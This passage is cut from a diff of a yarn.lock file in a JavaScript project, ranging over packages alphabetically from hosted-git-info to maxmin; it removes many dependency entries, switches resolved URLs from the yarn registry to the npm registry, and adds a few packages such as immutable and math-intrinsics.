+-  resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz#dffc0bf9a21c02209090f2aa69429e1414daf3f9"
+-  integrity sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==
+-
+-hosted-git-info@^4.0.1:
+-  version "4.1.0"
+-  resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-4.1.0.tgz#827b82867e9ff1c8d0c4d9d53880397d2c86d224"
+-  integrity sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==
+-  dependencies:
+-    lru-cache "^6.0.0"
+-
+ html5shiv@3.7:
+   version "3.7.3"
+-  resolved "https://registry.yarnpkg.com/html5shiv/-/html5shiv-3.7.3.tgz#d78a84a367bcb9a710100d57802c387b084631d2"
++  resolved "https://registry.npmjs.org/html5shiv/-/html5shiv-3.7.3.tgz"
+   integrity sha512-SZwGvLGNtgp8GbgFX7oXEp8OR1aBt5LliX6dG0kdD1kl3KhMonN0QcSa/A3TsTgFewaGCbIryQunjayWDXzxmw==
+ 
+-http-cache-semantics@^4.1.0:
+-  version "4.1.1"
+-  resolved "https://registry.yarnpkg.com/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz#abe02fcb2985460bf0323be664436ec3476a6d5a"
+-  integrity sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==
+-
+ http-parser-js@>=0.5.1:
+   version "0.5.8"
+-  resolved "https://registry.yarnpkg.com/http-parser-js/-/http-parser-js-0.5.8.tgz#af23090d9ac4e24573de6f6aecc9d84a48bf20e3"
++  resolved "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.8.tgz"
+   integrity sha512-SGeBX54F94Wgu5RH3X5jsDtf4eHyRogWX1XGT3b4HuW3tQPM4AaBzoUji/4AAJNXCEOWZ5O0DgZmJw1947gD5Q==
+ 
+-http-proxy-agent@^4.0.1:
+-  version "4.0.1"
+-  resolved "https://registry.yarnpkg.com/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz#8a8c8ef7f5932ccf953c296ca8291b95aa74aa3a"
+-  integrity sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==
+-  dependencies:
+-    "@tootallnate/once" "1"
+-    agent-base "6"
+-    debug "4"
+-
+-http-proxy-agent@^5.0.0:
+-  version "5.0.0"
+-  resolved "https://registry.yarnpkg.com/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz#5129800203520d434f142bc78ff3c170800f2b43"
+-  integrity sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==
+-  dependencies:
+-    "@tootallnate/once" "2"
+-    agent-base "6"
+-    debug "4"
+-
+-https-proxy-agent@^5.0.0:
+-  version "5.0.1"
+-  resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz#c59ef224a04fe8b754f3db0063a25ea30d0005d6"
+-  integrity sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==
+-  dependencies:
+-    agent-base "6"
+-    debug "4"
+-
+-humanize-ms@^1.2.1:
+-  version "1.2.1"
+-  resolved "https://registry.yarnpkg.com/humanize-ms/-/humanize-ms-1.2.1.tgz#c46e3159a293f6b896da29316d8b6fe8bb79bbed"
+-  integrity sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==
+-  dependencies:
+-    ms "^2.0.0"
+-
+-iconv-lite@^0.6.2, iconv-lite@~0.6.3:
++iconv-lite@~0.6.3:
+   version "0.6.3"
+-  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.6.3.tgz#a52f80bf38da1952eb5c681790719871a1a72501"
++  resolved "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz"
+   integrity sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==
+   dependencies:
+     safer-buffer ">= 2.1.2 < 3.0.0"
+ 
+-imurmurhash@^0.1.4:
+-  version "0.1.4"
+-  resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
+-  integrity sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==
+-
+-indent-string@^4.0.0:
+-  version "4.0.0"
+-  resolved "https://registry.yarnpkg.com/indent-string/-/indent-string-4.0.0.tgz#624f8f4497d619b2d9768531d58f4122854d7251"
+-  integrity sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==
+-
+-infer-owner@^1.0.4:
+-  version "1.0.4"
+-  resolved "https://registry.yarnpkg.com/infer-owner/-/infer-owner-1.0.4.tgz#c4cefcaa8e51051c2a40ba2ce8a3d27295af9467"
+-  integrity sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==
++immutable@^5.0.2:
++  version "5.1.3"
++  resolved "https://registry.npmjs.org/immutable/-/immutable-5.1.3.tgz"
++  integrity sha512-+chQdDfvscSF1SJqv2gn4SRO2ZyS3xL3r7IW/wWEEzrzLisnOlKiQu5ytC/BVNcS15C39WT2Hg/bjKjDMcu+zg==
+ 
+ inflight@^1.0.4:
+   version "1.0.6"
+-  resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
++  resolved "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz"
+   integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==
+   dependencies:
+     once "^1.3.0"
+     wrappy "1"
+ 
+-inherits@2, inherits@^2.0.3, inherits@~2.0.3:
++inherits@2:
+   version "2.0.4"
+-  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
++  resolved "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz"
+   integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
+ 
+ ini@^1.3.4:
+   version "1.3.8"
+-  resolved "https://registry.yarnpkg.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
++  resolved "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz"
+   integrity sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==
+ 
+ interpret@~1.1.0:
+   version "1.1.0"
+-  resolved "https://registry.yarnpkg.com/interpret/-/interpret-1.1.0.tgz#7ed1b1410c6a0e0f78cf95d3b8440c63f78b8614"
++  resolved "https://registry.npmjs.org/interpret/-/interpret-1.1.0.tgz"
+   integrity sha512-CLM8SNMDu7C5psFCn6Wg/tgpj/bKAg7hc2gWqcuR9OD5Ft9PhBpIu8PLicPeis+xDd6YX2ncI8MCA64I9tftIA==
+ 
+-ip-address@^9.0.5:
+-  version "9.0.5"
+-  resolved "https://registry.yarnpkg.com/ip-address/-/ip-address-9.0.5.tgz#117a960819b08780c3bd1f14ef3c1cc1d3f3ea5a"
+-  integrity sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==
+-  dependencies:
+-    jsbn "1.1.0"
+-    sprintf-js "^1.1.3"
+-
+ is-absolute@^1.0.0:
+   version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/is-absolute/-/is-absolute-1.0.0.tgz#395e1ae84b11f26ad1795e73c17378e48a301576"
++  resolved "https://registry.npmjs.org/is-absolute/-/is-absolute-1.0.0.tgz"
+   integrity sha512-dOWoqflvcydARa360Gvv18DZ/gRuHKi2NU/wU5X1ZFzdYfH29nkiNZsF3mp4OJ3H4yo9Mx8A/uAGNzpzPN3yBA==
+   dependencies:
+     is-relative "^1.0.0"
+     is-windows "^1.0.1"
+ 
+-is-arrayish@^0.2.1:
+-  version "0.2.1"
+-  resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d"
+-  integrity sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==
+-
+-is-core-module@^2.13.0, is-core-module@^2.5.0:
+-  version "2.15.1"
+-  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.15.1.tgz#a7363a25bee942fefab0de13bf6aa372c82dcc37"
+-  integrity sha512-z0vtXSwucUJtANQWldhbtbt7BnL0vxiFjIdDLAatwhDYty2bad6s+rijD6Ri4YuYJubLzIJLUidCh09e1djEVQ==
++is-core-module@^2.13.0:
++  version "2.16.1"
++  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.16.1.tgz#2a98801a849f43e2add644fbb6bc6229b19a4ef4"
++  integrity sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==
+   dependencies:
+     hasown "^2.0.2"
+ 
+ is-extglob@^2.1.1:
+   version "2.1.1"
+-  resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
++  resolved "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz"
+   integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==
+ 
+-is-fullwidth-code-point@^3.0.0:
+-  version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d"
+-  integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==
+-
+ is-glob@^4.0.0, is-glob@^4.0.3:
+   version "4.0.3"
+-  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084"
++  resolved "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz"
+   integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==
+   dependencies:
+     is-extglob "^2.1.1"
+ 
+-is-lambda@^1.0.1:
+-  version "1.0.1"
+-  resolved "https://registry.yarnpkg.com/is-lambda/-/is-lambda-1.0.1.tgz#3d9877899e6a53efc0160504cde15f82e6f061d5"
+-  integrity sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==
+-
+ is-number@^7.0.0:
+   version "7.0.0"
+-  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
++  resolved "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz"
+   integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
+ 
+-is-plain-obj@^1.1.0:
+-  version "1.1.0"
+-  resolved "https://registry.yarnpkg.com/is-plain-obj/-/is-plain-obj-1.1.0.tgz#71a50c8429dfca773c92a390a4a03b39fcd51d3e"
+-  integrity sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg==
+-
+ is-plain-object@^2.0.3, is-plain-object@^2.0.4:
+   version "2.0.4"
+-  resolved "https://registry.yarnpkg.com/is-plain-object/-/is-plain-object-2.0.4.tgz#2c163b3fafb1b606d9d17928f05c2a1c38e07677"
++  resolved "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz"
+   integrity sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==
+   dependencies:
+     isobject "^3.0.1"
+ 
+ is-relative@^1.0.0:
+   version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/is-relative/-/is-relative-1.0.0.tgz#a1bb6935ce8c5dba1e8b9754b9b2dcc020e2260d"
++  resolved "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz"
+   integrity sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==
+   dependencies:
+     is-unc-path "^1.0.0"
+ 
+ is-unc-path@^1.0.0:
+   version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/is-unc-path/-/is-unc-path-1.0.0.tgz#d731e8898ed090a12c352ad2eaed5095ad322c9d"
++  resolved "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz"
+   integrity sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==
+   dependencies:
+     unc-path-regex "^0.1.2"
+ 
+ is-windows@^1.0.1:
+   version "1.0.2"
+-  resolved "https://registry.yarnpkg.com/is-windows/-/is-windows-1.0.2.tgz#d1850eb9791ecd18e6182ce12a30f396634bb19d"
++  resolved "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz"
+   integrity sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==
+ 
+-isarray@~1.0.0:
+-  version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
+-  integrity sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==
+-
+ isexe@^2.0.0:
+   version "2.0.0"
+-  resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
++  resolved "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz"
+   integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==
+ 
+ isobject@^3.0.0, isobject@^3.0.1:
+   version "3.0.1"
+-  resolved "https://registry.yarnpkg.com/isobject/-/isobject-3.0.1.tgz#4e431e92b11a9731636aa1f9c8d1ccbcfdab78df"
++  resolved "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz"
+   integrity sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==
+ 
+ jquery-ui@1.14.1:
+   version "1.14.1"
+-  resolved "https://registry.yarnpkg.com/jquery-ui/-/jquery-ui-1.14.1.tgz#ba342ea3ffff662b787595391f607d923313e040"
++  resolved "https://registry.npmjs.org/jquery-ui/-/jquery-ui-1.14.1.tgz"
+   integrity sha512-DhzsYH8VeIvOaxwi+B/2BCsFFT5EGjShdzOcm5DssWjtcpGWIMsn66rJciDA6jBruzNiLf1q0KvwMoX1uGNvnQ==
+   dependencies:
+     jquery ">=1.12.0 <5.0.0"
+ 
+ jquery@3.7.1, "jquery@>=1.12.0 <5.0.0", "jquery@>=3.4.0 <4.0.0":
+   version "3.7.1"
+-  resolved "https://registry.yarnpkg.com/jquery/-/jquery-3.7.1.tgz#083ef98927c9a6a74d05a6af02806566d16274de"
++  resolved "https://registry.npmjs.org/jquery/-/jquery-3.7.1.tgz"
+   integrity sha512-m4avr8yL8kmFN8psrbFFFmB/If14iN5o9nw/NgnnM+kybDJpRsAynV2BsfpTYrTRysYUdADVD7CkUUizgkpLfg==
+ 
+-js-base64@^2.4.9:
+-  version "2.6.4"
+-  resolved "https://registry.yarnpkg.com/js-base64/-/js-base64-2.6.4.tgz#f4e686c5de1ea1f867dbcad3d46d969428df98c4"
+-  integrity sha512-pZe//GGmwJndub7ZghVHz7vjb2LgC1m8B07Au3eYqeqv9emhESByMXxaEgkUkEqJe87oBbSniGYoQNIBklc7IQ==
+-
+ js-cookie@2.2:
+   version "2.2.1"
+-  resolved "https://registry.yarnpkg.com/js-cookie/-/js-cookie-2.2.1.tgz#69e106dc5d5806894562902aa5baec3744e9b2b8"
++  resolved "https://registry.npmjs.org/js-cookie/-/js-cookie-2.2.1.tgz"
+   integrity sha512-HvdH2LzI/EAZcUwA8+0nKNtWHqS+ZmijLA30RwZA0bo7ToCckjK5MkGhjED9KoRcXO6BaGI3I9UIzSA1FKFPOQ==
+ 
+-js-tokens@^4.0.0:
+-  version "4.0.0"
+-  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
+-  integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
+-
+ js-yaml@~3.14.0:
+   version "3.14.1"
+-  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537"
++  resolved "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz"
+   integrity sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==
+   dependencies:
+     argparse "^1.0.7"
+     esprima "^4.0.0"
+ 
+-jsbn@1.1.0:
+-  version "1.1.0"
+-  resolved "https://registry.yarnpkg.com/jsbn/-/jsbn-1.1.0.tgz#b01307cb29b618a1ed26ec79e911f803c4da0040"
+-  integrity sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A==
+-
+-json-parse-even-better-errors@^2.3.0:
+-  version "2.3.1"
+-  resolved "https://registry.yarnpkg.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz#7c47805a94319928e05777405dc12e1f7a4ee02d"
+-  integrity sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==
+-
+-kind-of@^6.0.2, kind-of@^6.0.3:
++kind-of@^6.0.2:
+   version "6.0.3"
+-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd"
++  resolved "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz"
+   integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==
+ 
+ liftup@~3.0.1:
+   version "3.0.1"
+-  resolved "https://registry.yarnpkg.com/liftup/-/liftup-3.0.1.tgz#1cb81aff0f368464ed3a5f1a7286372d6b1a60ce"
++  resolved "https://registry.npmjs.org/liftup/-/liftup-3.0.1.tgz"
+   integrity sha512-yRHaiQDizWSzoXk3APcA71eOI/UuhEkNN9DiW2Tt44mhYzX4joFoCZlxsSOF7RyeLlfqzFLQI1ngFq3ggMPhOw==
+   dependencies:
+     extend "^3.0.2"
+@@ -1342,19 +987,14 @@ liftup@~3.0.1:
+     rechoir "^0.7.0"
+     resolve "^1.19.0"
+ 
+-lines-and-columns@^1.1.6:
+-  version "1.2.4"
+-  resolved "https://registry.yarnpkg.com/lines-and-columns/-/lines-and-columns-1.2.4.tgz#eca284f75d2965079309dc0ad9255abb2ebc1632"
+-  integrity sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==
+-
+ livereload-js@^2.3.0:
+   version "2.4.0"
+-  resolved "https://registry.yarnpkg.com/livereload-js/-/livereload-js-2.4.0.tgz#447c31cf1ea9ab52fc20db615c5ddf678f78009c"
++  resolved "https://registry.npmjs.org/livereload-js/-/livereload-js-2.4.0.tgz"
+   integrity sha512-XPQH8Z2GDP/Hwz2PCDrh2mth4yFejwA1OZ/81Ti3LgKyhDcEjsSsqFWZojHG0va/duGd+WyosY7eXLDoOyqcPw==
+ 
+ load-grunt-tasks@5.1:
+   version "5.1.0"
+-  resolved "https://registry.yarnpkg.com/load-grunt-tasks/-/load-grunt-tasks-5.1.0.tgz#14894c27a7e34ebbef9937c39cc35c573cd04c1c"
++  resolved "https://registry.npmjs.org/load-grunt-tasks/-/load-grunt-tasks-5.1.0.tgz"
+   integrity sha512-oNj0Jlka1TsfDe+9He0kcA1cRln+TMoTsEByW7ij6kyktNLxBKJtslCFEvFrLC2Dj0S19IWJh3fOCIjLby2Xrg==
+   dependencies:
+     arrify "^2.0.1"
+@@ -1364,105 +1004,37 @@ load-grunt-tasks@5.1:
+ 
+ locate-path@^3.0.0:
+   version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-3.0.0.tgz#dbec3b3ab759758071b58fe59fc41871af21400e"
++  resolved "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz"
+   integrity sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==
+   dependencies:
+     p-locate "^3.0.0"
+     path-exists "^3.0.0"
+ 
+-locate-path@^5.0.0:
+-  version "5.0.0"
+-  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0"
+-  integrity sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==
+-  dependencies:
+-    p-locate "^4.1.0"
+-
+-lodash@^4.17.10, lodash@^4.17.11, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.21, lodash@~4.17.19, lodash@~4.17.21:
++lodash@^4.17.10, lodash@^4.17.14, lodash@^4.17.21, lodash@~4.17.19, lodash@~4.17.21:
+   version "4.17.21"
+-  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
++  resolved "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"
+   integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
+ 
+-lru-cache@^6.0.0:
+-  version "6.0.0"
+-  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-6.0.0.tgz#6d6fe6570ebd96aaf90fcad1dafa3b2566db3a94"
+-  integrity sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==
+-  dependencies:
+-    yallist "^4.0.0"
+-
+-lru-cache@^7.7.1:
+-  version "7.18.3"
+-  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-7.18.3.tgz#f793896e0fd0e954a59dfdd82f0773808df6aa89"
+-  integrity sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==
+-
+-make-fetch-happen@^10.0.4:
+-  version "10.2.1"
+-  resolved "https://registry.yarnpkg.com/make-fetch-happen/-/make-fetch-happen-10.2.1.tgz#f5e3835c5e9817b617f2770870d9492d28678164"
+-  integrity sha512-NgOPbRiaQM10DYXvN3/hhGVI2M5MtITFryzBGxHM5p4wnFxsVCbxkrBrDsk+EZ5OB4jEOT7AjDxtdF+KVEFT7w==
+-  dependencies:
+-    agentkeepalive "^4.2.1"
+-    cacache "^16.1.0"
+-    http-cache-semantics "^4.1.0"
+-    http-proxy-agent "^5.0.0"
+-    https-proxy-agent "^5.0.0"
+-    is-lambda "^1.0.1"
+-    lru-cache "^7.7.1"
+-    minipass "^3.1.6"
+-    minipass-collect "^1.0.2"
+-    minipass-fetch "^2.0.3"
+-    minipass-flush "^1.0.5"
+-    minipass-pipeline "^1.2.4"
+-    negotiator "^0.6.3"
+-    promise-retry "^2.0.1"
+-    socks-proxy-agent "^7.0.0"
+-    ssri "^9.0.0"
+-
+-make-fetch-happen@^9.1.0:
+-  version "9.1.0"
+-  resolved "https://registry.yarnpkg.com/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz#53085a09e7971433e6765f7971bf63f4e05cb968"
+-  integrity sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==
+-  dependencies:
+-    agentkeepalive "^4.1.3"
+-    cacache "^15.2.0"
+-    http-cache-semantics "^4.1.0"
+-    http-proxy-agent "^4.0.1"
+-    https-proxy-agent "^5.0.0"
+-    is-lambda "^1.0.1"
+-    lru-cache "^6.0.0"
+-    minipass "^3.1.3"
+-    minipass-collect "^1.0.2"
+-    minipass-fetch "^1.3.2"
+-    minipass-flush "^1.0.5"
+-    minipass-pipeline "^1.2.4"
+-    negotiator "^0.6.2"
+-    promise-retry "^2.0.1"
+-    socks-proxy-agent "^6.0.0"
+-    ssri "^8.0.0"
+-
+ make-iterator@^1.0.0:
+   version "1.0.1"
+-  resolved "https://registry.yarnpkg.com/make-iterator/-/make-iterator-1.0.1.tgz#29b33f312aa8f547c4a5e490f56afcec99133ad6"
++  resolved "https://registry.npmjs.org/make-iterator/-/make-iterator-1.0.1.tgz"
+   integrity sha512-pxiuXh0iVEq7VM7KMIhs5gxsfxCux2URptUQaXo4iZZJxBAzTPOLE2BumO5dbfVYq/hBJFBR/a1mFDmOx5AGmw==
+   dependencies:
+     kind-of "^6.0.2"
+ 
+ map-cache@^0.2.0:
+   version "0.2.2"
+-  resolved "https://registry.yarnpkg.com/map-cache/-/map-cache-0.2.2.tgz#c32abd0bd6525d9b051645bb4f26ac5dc98a0dbf"
++  resolved "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz"
+   integrity sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==
+ 
+-map-obj@^1.0.0:
+-  version "1.0.1"
+-  resolved "https://registry.yarnpkg.com/map-obj/-/map-obj-1.0.1.tgz#d933ceb9205d82bdcf4886f6742bdc2b4dea146d"
+-  integrity sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg==
+-
+-map-obj@^4.0.0:
+-  version "4.3.0"
+-  resolved "https://registry.yarnpkg.com/map-obj/-/map-obj-4.3.0.tgz#9304f906e93faae70880da102a9f1df0ea8bb05a"
+-  integrity sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==
++math-intrinsics@^1.1.0:
++  version "1.1.0"
++  resolved "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz#a0dd74be81e2aa5c2f27e65ce283605ee4e2b7f9"
++  integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==
+ 
+ maxmin@^3.0.0:
+   version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/maxmin/-/maxmin-3.0.0.tgz#3ee9acc8a2b9f2b5416e94f5705319df8a9c71e6"
++  resolved "https://registry.npmjs.org/maxmin/-/maxmin-3.0.0.tgz"
